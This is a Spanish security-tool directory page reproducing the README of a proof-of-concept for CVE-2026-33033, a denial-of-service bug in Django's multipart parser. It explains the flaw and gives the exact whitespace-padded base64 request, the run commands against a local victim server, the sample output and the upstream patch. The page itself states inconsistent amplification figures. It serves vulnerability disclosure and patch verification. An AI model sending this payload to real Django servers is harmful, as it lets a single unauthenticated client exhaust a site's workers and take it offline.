Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-33033-PoC — Prueba de concepto de exploit para CVE-2026-33033, una vulnerabilidad de denegación de servicio en MultiPartParser de Django mediante amplificación de CPU por espacios en blanco en base64, que demuestra una amplificación de ~800x con una única petición HTTP. | Kitploit
Herramientas/GitHubGitHub/ch4n3-yoon/cve-2026-33033-poc
Análisis de VulnerabilidadesExplotaciónSeguridad WebPruebas de Penetración
GitHubch4n3-yoon/cve-2026-33033-poc

CVE-2026-33033-PoC

Prueba de concepto de exploit para CVE-2026-33033, una vulnerabilidad de denegación de servicio en MultiPartParser de Django mediante amplificación de CPU por espacios en blanco en base64, que demuestra una amplificación de ~800x con una única petición HTTP.

Ver Repositorio
21hace 4 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

PoC CVE-2026-33033

Denegación de servicio mediante amplificación de CPU por espacios en blanco en base64 en MultiPartParser de Django

Una única solicitud HTTP de 2,5 MB puede mantener ocupado un worker de Django durante ~5 segundos, logrando una amplificación de CPU de ~2.100x en comparación con una solicitud normal del mismo tamaño. No se requiere autenticación.

Versiones afectadas

Esta vulnerabilidad se corrigió en el comunicado de seguridad Django 6.0.4 (7 de abril de 2026), junto con backports a todas las ramas compatibles.

RamaAfectadaCorregida
Django 6.0.x<= 6.0.36.0.4
Django 5.2.x<= 5.2.115.2.12
Django 5.1.x<= 5.1.x5.1.16
Django 5.0.x<= 5.0.145.0.15
Django 4.2.x<= 4.2.284.2.29

Descripción oficial

CVE-2026-33033: Posible vulnerabilidad de denegación de servicio en MultiPartParser mediante carga de archivos codificados en base64 (Gravedad: Moderada)

Al usar django.http.multipartparser.MultiPartParser, las cargas multipart con Content-Transfer-Encoding: base64 que incluyan espacios en blanco excesivos pueden provocar copias de memoria repetidas, degradando potencialmente el rendimiento.

— Notas de la versión Django 6.0.4

Otros problemas de seguridad corregidos en Django 6.0.4

CVEGravedadDescripción
CVE-2026-3902BajaSuplantación de cabeceras ASGI mediante confusión de guion bajo/guion
CVE-2026-4277BajaAbuso de privilegios en GenericInlineModelAdmin
CVE-2026-4292BajaAbuso de privilegios en ModelAdmin.list_editable
CVE-2026-33034BajaOmisión del límite de memoria de subida ASGI mediante falta de Content-Length

Resumen de la vulnerabilidad

MultiPartParser de Django tiene una ruta de código especial para manejar partes de archivos con Content-Transfer-Encoding: base64. Después de eliminar los espacios en blanco de cada fragmento, si el resultado no está alineado a un múltiplo de 4 bytes, un bucle while llama a field_stream.read(1) para obtener bytes adicionales de uno en uno.

Cuando el cuerpo del archivo es casi en su totalidad espacios en blanco, cada byte obtenido se reduce a nada, por lo que el bucle continúa — llamando a read(1) una vez por cada byte de espacio en blanco. La idea clave es que cada read(1) es mucho más costoso de lo que parece:

Tres capas de amplificación

root@kitploit:~
Capa 1:  El bucle de alineación base64 llama a read(1) por cada byte de espacio en blanco
              |
Capa 2:  LazyStream.read(1) obtiene el resto completo (~64 KB), corta 1 byte,
          devuelve ~64 KB - 1  -->  copia de bytes O(C) por llamada
              |
Capa 3:  unget() hace  self._leftover = bytes + self._leftover
          creando un nuevo objeto bytes cada vez  -->  memcpy de ~C bytes

Por cada fragmento de 64 KB, el trabajo de copia forma una serie aritmética:

root@kitploit:~
Total = (C-1) + (C-2) + ... + 1 = C(C-1)/2 ~ 2.150 millones de operaciones de bytes

Para una entrada de 2,5 MB (~40 fragmentos): ~86 mil millones de bytes de trabajo memcpy a partir de una única solicitud HTTP.

Omisión de la protección existente

Django incluye _update_unget_history() que lanza SuspiciousMultipartForm si el mismo recuento de bytes se devuelve 40+ veces en 50 operaciones. Sin embargo, en este ataque los tamaños de unget son monótonamente decrecientes (65535, 65534, 65533, ...), por lo que cada tamaño es único y la comprobación nunca se activa.

Disparo previo a la vista

El middleware CSRF accede a request.POST antes de que se ejecute cualquier vista, por lo que incluso los endpoints que devuelven 403 incurren en el costo completo del análisis.

Estructura del repositorio

root@kitploit:~
CVE-2026-33033-PoC/
├── README.md           # Este archivo
├── LICENSE
├── requirements.txt    # Dependencias de Python
├── exploit.py          # Script de explotación
└── victim/             # Servidor Django vulnerable
    ├── manage.py
    ├── uwsgi.ini       # Configuración de despliegue uWSGI
    └── victim/
        ├── __init__.py
        ├── settings.py  # Valores predeterminados de Django (sin configuración especial)
        ├── urls.py      # Endpoints /upload y /health
        └── wsgi.py

Pasos de reproducción

1. Clonar y configurar

root@kitploit:~
git clone https://github.com/ch4n3-yoon/CVE-2026-33033-PoC.git
cd CVE-2026-33033-PoC

python3 -m venv venv
source venv/bin/activate
pip install -r requirements.txt

2. Iniciar el servidor víctima

Opción A: Servidor de desarrollo de Django (más rápido)

root@kitploit:~
cd victim
python manage.py runserver 0.0.0.0:8000

Opción B: uWSGI (más realista — usa 4 workers)

root@kitploit:~
cd victim
uwsgi --ini uwsgi.ini

3. Ejecutar el exploit

En una terminal separada:

root@kitploit:~
source venv/bin/activate
python exploit.py --target http://127.0.0.1:8000/upload

Opciones:

FlagPredeterminadoDescripción
--targethttp://127.0.0.1:8000/uploadEndpoint de subida objetivo
--size2621440 (2,5 MB)Tamaño del payload en bytes
--rounds3Número de rondas de ataque

4. Salida esperada

root@kitploit:~
============================================================
CVE-2026-33033 PoC
Denegación de servicio mediante amplificación de CPU por
espacios en blanco en base64 en Django MultiPartParser
============================================================

Objetivo:     http://127.0.0.1:8000/upload
Tamaño del payload: 2.621.440 bytes (2,5 MB)
Rondas:       3

[*] Comprobando estado del servidor...
[+] El servidor está activo.

------------------------------------------------------------
[*] Fase 1: Enviando solicitud BENIGNA (datos base64 normales)
------------------------------------------------------------
    Estado: 200
    Tiempo:   5,55 ms

------------------------------------------------------------
[*] Fase 2: Enviando solicitudes MALICIOSAS (base64 + espacios en blanco)
------------------------------------------------------------

  Ronda 1/3:
    Estado: 200
    Tiempo:   4571,12 ms
  ...

============================================================
RESULTADOS
============================================================
  Solicitud benigna:          5,55 ms
  Promedio de ataque:       4571,12 ms  (en 3 rondas)
  Amplificación:            823x

[!] VULNERABLE: El tiempo promedio de ataque supera 1 segundo.
    Una única solicitud de 2,5 MB mantiene ocupado un worker durante ~4,6 s.
    Con 4 workers, solo 4 solicitudes concurrentes pueden provocar DoS al servidor.

Cómo funciona el exploit

El exploit construye un cuerpo POST multipart/form-data con una única parte de archivo:

root@kitploit:~
POST /upload HTTP/1.1
Content-Type: multipart/form-data; boundary=----CVE2026-33033
Content-Length: 2621552

------CVE2026-33033
Content-Disposition: form-data; name="file"; filename="poc.bin"
Content-Type: application/octet-stream
Content-Transfer-Encoding: base64

AAA<2.621.433 espacios>A
------CVE2026-33033--
  1. El AAA inicial hace que stripped_chunk = b"AAA" (3 bytes), por lo que remaining = 3 % 4 = 3.
  2. El bucle while llama a field_stream.read(1) para obtener 1 byte más para la alineación.
  3. Cada byte de espacio se reduce a nada (b"".join(b" ".split()) == b""), manteniendo remaining = 3.
  4. El bucle continúa por cada byte de espacio en blanco en el flujo.
  5. Cada LazyStream.read(1) copia internamente ~64 KB mediante el mecanismo unget.

Código vulnerable

django/http/multipartparser.py, líneas 302-325 (Django 5.0.x):

root@kitploit:~
for chunk in field_stream:
    if transfer_encoding == "base64":
        stripped_chunk = b"".join(chunk.split())

        remaining = len(stripped_chunk) % 4
        while remaining != 0:
            over_chunk = field_stream.read(4 - remaining)   # <-- read(1)
            if not over_chunk:
                break
            stripped_chunk += b"".join(over_chunk.split())   # se reduce a vacío
            remaining = len(stripped_chunk) % 4               # permanece en 3

Parche

La corrección (aplicada en Django 6.0.4 / 5.2.12 / 5.1.16 / 5.0.15 / 4.2.29) reemplaza el bucle read(1) por byte con un read(self._chunk_size) masivo:

root@kitploit:~
-                                stripped_chunk = b"".join(chunk.split())
+                                stripped_parts = [b"".join(chunk.split())]
+                                stripped_length = len(stripped_parts[0])

-                                remaining = len(stripped_chunk) % 4
-                                while remaining != 0:
-                                    over_chunk = field_stream.read(4 - remaining)
+                                while stripped_length % 4 != 0:
+                                    over_chunk = field_stream.read(self._chunk_size)
                                     if not over_chunk:
                                         break
-                                    stripped_chunk += b"".join(over_chunk.split())
-                                    remaining = len(stripped_chunk) % 4
+                                    over_stripped = b"".join(over_chunk.split())
+                                    stripped_parts.append(over_stripped)
+                                    stripped_length += len(over_stripped)
+
+                                stripped_chunk = b"".join(stripped_parts)

Cambios clave:

  1. read(4 - remaining) → read(self._chunk_size) — lee 64 KB a la vez en lugar de 1-3 bytes, reduciendo las llamadas de lectura de ~2,5 millones a ~40.
  2. stripped_chunk += ... → stripped_parts.append(...) + b"".join() final — evita la posible concatenación cuadrática de bytes.
  3. len(stripped_chunk) % 4 → contador stripped_length — evita el recálculo redundante de longitud.

Aviso legal

Esta prueba de concepto se proporciona únicamente con fines educativos y de pruebas de seguridad autorizadas. Úsala de forma responsable y solo contra sistemas que poseas o para los que tengas permiso explícito de prueba.

Licencia

Apache License 2.0 — consulta LICENSE.

Descargar herramienta